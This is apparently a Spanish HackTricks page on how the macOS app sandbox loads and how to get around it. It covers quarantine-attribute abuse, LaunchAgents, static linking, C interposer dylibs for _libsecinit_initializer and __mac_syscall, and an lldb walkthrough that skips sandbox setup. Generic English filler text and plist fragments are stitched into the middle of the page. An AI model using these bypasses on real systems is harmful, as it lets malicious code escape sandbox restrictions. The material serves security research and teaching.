macOS Sandbox Debug & Bypass

Aprende hacking de AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Proceso de carga del Sandbox

En la imagen anterior es posible observar cómo se cargará el sandbox cuando se ejecute una aplicación con el permiso com.apple.security.app-sandbox.

El compilador vinculará /usr/lib/libSystem.B.dylib al binario.

Luego, libSystem.B llamará a varias funciones hasta que xpc_pipe_routine envíe los permisos de la aplicación a securityd. Securityd verifica si el proceso debe ser puesto en cuarentena dentro del Sandbox, y de ser así, será puesto en cuarentena. Finalmente, el sandbox se activará con una llamada a __sandbox_ms que llamará a __mac_syscall.

Posibles Bypasses

Saltándose el atributo de cuarentena

Los archivos creados por procesos en sandbox se les añade el atributo de cuarentena para evitar que escapen del sandbox. Sin embargo, si logras crear una carpeta .app sin el atributo de cuarentena dentro de una aplicación en sandbox, podrías hacer que el binario del paquete de la aplicación apunte a /bin/bash y agregar algunas variables de entorno en el plist para abusar de open y lanzar la nueva aplicación sin sandbox.

Esto es lo que se hizo en CVE-2023-32364.

Por lo tanto, en este momento, si eres capaz de crear una carpeta con un nombre que termine en .app sin un atributo de cuarentena, puedes escapar del sandbox porque macOS solo verifica el atributo de cuarentena en la carpeta .app y en el ejecutable principal (y haremos que el ejecutable principal apunte a /bin/bash).

Ten en cuenta que si un paquete .app ya ha sido autorizado para ejecutarse (tiene un xttr de cuarentena con la bandera de autorización para ejecutar), también podrías abusar de ello... excepto que ahora no puedes escribir dentro de los paquetes .app a menos que tengas algunos permisos TCC privilegiados (que no tendrás dentro de un sandbox alto).

Abusando de la funcionalidad de Open

En los últimos ejemplos de bypass del sandbox de Word se puede apreciar cómo la funcionalidad de línea de comandos open podría ser abusada para evadir el sandbox.

pagemacOS Office Sandbox Bypasses

Agentes/Demonios de Inicio

Incluso si una aplicación está destinada a estar en sandbox (com.apple.security.app-sandbox), es posible evadir el sandbox si se ejecuta desde un LaunchAgent (~/Library/LaunchAgents) por ejemplo. Como se explica en este post, si deseas obtener persistencia con una aplicación que está en sandbox, podrías hacer que se ejecute automáticamente como un LaunchAgent e inyectar código malicioso a través de variables de entorno DyLib.

Abusando de las Ubicaciones de Inicio Automático

Si un proceso en sandbox puede escribir en un lugar donde más tarde se ejecutará el binario de una aplicación sin sandbox, podrá escapar simplemente colocando allí el binario. Un buen ejemplo de este tipo de ubicaciones son ~/Library/LaunchAgents o /System/Library/LaunchDaemons.

Para esto, incluso podrías necesitar 2 pasos: hacer que un proceso con un sandbox más permisivo (file-read*, file-write*) ejecute tu código que realmente escribirá en un lugar donde se ejecutará sin sandbox.

Consulta esta página sobre Ubicaciones de Inicio Automático:

pagemacOS Auto Start

Abusando de otros procesos

Si desde el proceso en sandbox eres capaz de comprometer otros procesos que se ejecutan en sandbox menos restrictivos (o ninguno), podrás escapar a sus sandboxes:

pagemacOS Process Abuse

Compilación Estática y Enlace Dinámico

Esta investigación descubrió 2 formas de evadir el Sandbox. Debido a que el sandbox se aplica desde el espacio de usuario cuando se carga la biblioteca libSystem. Si un binario pudiera evitar cargarla, nunca sería sandboxeado:

  • Si el binario fuera compilado completamente de forma estática, podría evitar cargar esa biblioteca.

  • Si el binario no necesitara cargar ninguna biblioteca (porque el enlazador también está en libSystem), no necesitará cargar libSystem.

Shellcodes

Ten en cuenta que incluso los shellcodes en ARM64 necesitan ser enlazados en libSystem.dylib:

ld -o shell shell.o -macosx_version_min 13.0
ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64

Permisos

Tenga en cuenta que incluso si algunas acciones pueden estar permitidas por el sandbox si una aplicación tiene un permiso específico, como en:

(when (entitlement "com.apple.security.network.client")
(allow network-outbound (remote ip))
(allow mach-lookup
(global-name "com.apple.airportd")
(global-name "com.apple.cfnetwork.AuthBrokerAgent")
(global-name "com.apple.cfnetwork.cfnetworkagent")
[...]

Bypass de Interposting

Para obtener más información sobre Interposting, consulta:

pagemacOS Function Hooking

Interponer _libsecinit_initializer para evitar el sandbox

// gcc -dynamiclib interpose.c -o interpose.dylib

#include <stdio.h>

void _libsecinit_initializer(void);

void overriden__libsecinit_initializer(void) {
printf("_libsecinit_initializer called\n");
}

__attribute__((used, section("__DATA,__interpose"))) static struct {
void (*overriden__libsecinit_initializer)(void);
void (*_libsecinit_initializer)(void);
}
_libsecinit_initializer_interpose = {overriden__libsecinit_initializer, _libsecinit_initializer};
DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
_libsecinit_initializer called
Sandbox Bypassed!

Interponer __mac_syscall para evitar el Sandbox

interpose.c
// gcc -dynamiclib interpose.c -o interpose.dylib

#include <stdio.h>
#include <string.h>

// Forward Declaration
int __mac_syscall(const char *_policyname, int _call, void *_arg);

// Replacement function
int my_mac_syscall(const char *_policyname, int _call, void *_arg) {
printf("__mac_syscall invoked. Policy: %s, Call: %d\n", _policyname, _call);
if (strcmp(_policyname, "Sandbox") == 0 && _call == 0) {
printf("Bypassing Sandbox initiation.\n");
return 0; // pretend we did the job without actually calling __mac_syscall
}
// Call the original function for other cases
return __mac_syscall(_policyname, _call, _arg);
}

// Interpose Definition
struct interpose_sym {
const void *replacement;
const void *original;
};

// Interpose __mac_syscall with my_mac_syscall
__attribute__((used)) static const struct interpose_sym interposers[] __attribute__((section("__DATA, __interpose"))) = {
{ (const void *)my_mac_syscall, (const void *)__mac_syscall },
};
DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand

__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 0
Bypassing Sandbox initiation.
__mac_syscall invoked. Policy: Quarantine, Call: 87
__mac_syscall invoked. Policy: Sandbox, Call: 4
Sandbox Bypassed!

Depurar y evadir el Sandbox con lldb

Compilamos una aplicación que debería estar en un sandbox:

#include <stdlib.h>
int main() {
system("cat ~/Desktop/del.txt");
}

macOS Sandbox Debug and Bypass

Debugging the macOS sandbox and bypassing its restrictions

This section covers techniques for debugging the macOS sandbox and bypassing its restrictions.

Debugging

To debug the macOS sandbox, you can use tools like LLDB or GDB to attach to the target process and inspect its behavior.

Bypassing Restrictions

There are various ways to bypass the restrictions imposed by the macOS sandbox, such as exploiting vulnerabilities in the sandbox profile or using techniques like code injection.

It's important to understand these techniques to assess the security of macOS sandboxed applications effectively.

References

<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
<key>com.apple.security.app-sandbox</key>
<true/>
</dict>
</plist>

macOS Sandbox Debug and Bypass

Debugging the macOS Sandbox

When debugging the macOS sandbox, you can use the sandbox-exec tool to launch a process within a sandbox. This allows you to observe how the sandbox restricts the process's behavior and identify any potential weaknesses that could be exploited for privilege escalation.

To debug a process using sandbox-exec, you need to create a custom sandbox profile in a file, for example, my-sandbox.sb, and then run the process within this sandbox using the following command:

sandbox-exec -f my-sandbox.sb /path/to/your/process

This will launch the process with the restrictions defined in your custom sandbox profile, allowing you to analyze its behavior within the sandbox environment.

Bypassing the macOS Sandbox

Bypassing the macOS sandbox involves finding and exploiting vulnerabilities in the sandbox profile or the macOS sandbox implementation itself to escape the restrictions imposed by the sandbox. This can allow an attacker to execute malicious code with elevated privileges on the system.

To bypass the macOS sandbox, security researchers and attackers often analyze the sandbox profile for misconfigurations or vulnerabilities that can be leveraged to weaken or bypass the restrictions. By understanding how the sandbox works and identifying potential weaknesses, security professionals can develop exploits to bypass the sandbox and escalate privileges on a macOS system.

Understanding the debugging and bypassing techniques for the macOS sandbox is crucial for security professionals and researchers to assess the effectiveness of the sandbox in protecting macOS systems from privilege escalation attacks.

<plist version="1.0">
<dict>
<key>CFBundleIdentifier</key>
<string>xyz.hacktricks.sandbox</string>
<key>CFBundleName</key>
<string>Sandbox</string>
</dict>
</plist>

Luego compila la aplicación:

# Compile it
gcc -Xlinker -sectcreate -Xlinker __TEXT -Xlinker __info_plist -Xlinker Info.plist sand.c -o sand

# Create a certificate for "Code Signing"

# Apply the entitlements via signing
codesign -s <cert-name> --entitlements entitlements.xml sand

La aplicación intentará leer el archivo ~/Desktop/del.txt, lo cual no permitirá el Sandbox. Crea un archivo allí, ya que una vez que se haya eludido el Sandbox, podrá leerlo:

echo "Sandbox Bypassed" > ~/Desktop/del.txt

Vamos a depurar la aplicación para ver cuándo se carga el Sandbox:

# Load app in debugging
lldb ./sand

# Set breakpoint in xpc_pipe_routine
(lldb) b xpc_pipe_routine

# run
(lldb) r

# This breakpoint is reached by different functionalities
# Check in the backtrace is it was de sandbox one the one that reached it
# We are looking for the one libsecinit from libSystem.B, like the following one:
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
* frame #0: 0x00000001873d4178 libxpc.dylib`xpc_pipe_routine
frame #1: 0x000000019300cf80 libsystem_secinit.dylib`_libsecinit_appsandbox + 584
frame #2: 0x00000001874199c4 libsystem_trace.dylib`_os_activity_initiate_impl + 64
frame #3: 0x000000019300cce4 libsystem_secinit.dylib`_libsecinit_initializer + 80
frame #4: 0x0000000193023694 libSystem.B.dylib`libSystem_initializer + 272

# To avoid lldb cutting info
(lldb) settings set target.max-string-summary-length 10000

# The message is in the 2 arg of the xpc_pipe_routine function, get it with:
(lldb) p (char *) xpc_copy_description($x1)
(char *) $0 = 0x000000010100a400 "<dictionary: 0x6000026001e0> { count = 5, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REGISTRATION_MESSAGE_SHORT_NAME_KEY\" => <string: 0x600000c00d80> { length = 4, contents = \"sand\" }\n\t\"SECINITD_REGISTRATION_MESSAGE_IMAGE_PATHS_ARRAY_KEY\" => <array: 0x600000c00120> { count = 42, capacity = 64, contents =\n\t\t0: <string: 0x600000c000c0> { length = 14, contents = \"/tmp/lala/sand\" }\n\t\t1: <string: 0x600000c001e0> { length = 22, contents = \"/private/tmp/lala/sand\" }\n\t\t2: <string: 0x600000c000f0> { length = 26, contents = \"/usr/lib/libSystem.B.dylib\" }\n\t\t3: <string: 0x600000c00180> { length = 30, contents = \"/usr/lib/system/libcache.dylib\" }\n\t\t4: <string: 0x600000c00060> { length = 37, contents = \"/usr/lib/system/libcommonCrypto.dylib\" }\n\t\t5: <string: 0x600000c001b0> { length = 36, contents = \"/usr/lib/system/libcompiler_rt.dylib\" }\n\t\t6: <string: 0x600000c00330> { length = 33, contents = \"/usr/lib/system/libcopyfile.dylib\" }\n\t\t7: <string: 0x600000c00210> { length = 35, contents = \"/usr/lib/system/libcorecry"...

# The 3 arg is the address were the XPC response will be stored
(lldb) register read x2
x2 = 0x000000016fdfd660

# Move until the end of the function
(lldb) finish

# Read the response
## Check the address of the sandbox container in SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY
(lldb) memory read -f p 0x000000016fdfd660 -c 1
0x16fdfd660: 0x0000600003d04000
(lldb) p (char *) xpc_copy_description(0x0000600003d04000)
(char *) $4 = 0x0000000100204280 "<dictionary: 0x600003d04000> { count = 7, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ID_KEY\" => <string: 0x600000c04d50> { length = 22, contents = \"xyz.hacktricks.sandbox\" }\n\t\"SECINITD_REPLY_MESSAGE_QTN_PROC_FLAGS_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY\" => <string: 0x600000c04e10> { length = 65, contents = \"/Users/carlospolop/Library/Containers/xyz.hacktricks.sandbox/Data\" }\n\t\"SECINITD_REPLY_MESSAGE_SANDBOX_PROFILE_DATA_KEY\" => <data: 0x600001704100>: { length = 19027 bytes, contents = 0x0000f000ba0100000000070000001e00350167034d03c203... }\n\t\"SECINITD_REPLY_MESSAGE_VERSION_NUMBER_KEY\" => <int64: 0xaa3e660cef06712f>: 1\n\t\"SECINITD_MESSAGE_TYPE_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_FAILURE_CODE\" => <uint64: 0xaabe660cef067127>: 0\n}"

# To bypass the sandbox we need to skip the call to __mac_syscall
# Lets put a breakpoint in __mac_syscall when x1 is 0 (this is the code to enable the sandbox)
(lldb) breakpoint set --name __mac_syscall --condition '($x1 == 0)'
(lldb) c

# The 1 arg is the name of the policy, in this case "Sandbox"
(lldb) memory read -f s $x0
0x19300eb22: "Sandbox"

#
# BYPASS
#

# Due to the previous bp, the process will be stopped in:
Process 2517 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x0000000187659900 libsystem_kernel.dylib`__mac_syscall
libsystem_kernel.dylib`:
->  0x187659900 <+0>:  mov    x16, #0x17d
0x187659904 <+4>:  svc    #0x80
0x187659908 <+8>:  b.lo   0x187659928               ; <+40>
0x18765990c <+12>: pacibsp

# To bypass jump to the b.lo address modifying some registers first
(lldb) breakpoint delete 1 # Remove bp
(lldb) register write $pc 0x187659928 #b.lo address
(lldb) register write $x0 0x00
(lldb) register write $x1 0x00
(lldb) register write $x16 0x17d
(lldb) c
Process 2517 resuming
Sandbox Bypassed!
Process 2517 exited with status = 0 (0x00000000)

Incluso con el bypass del Sandbox, TCC preguntará al usuario si desea permitir que el proceso lea archivos desde el escritorio.

Referencias

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Última actualización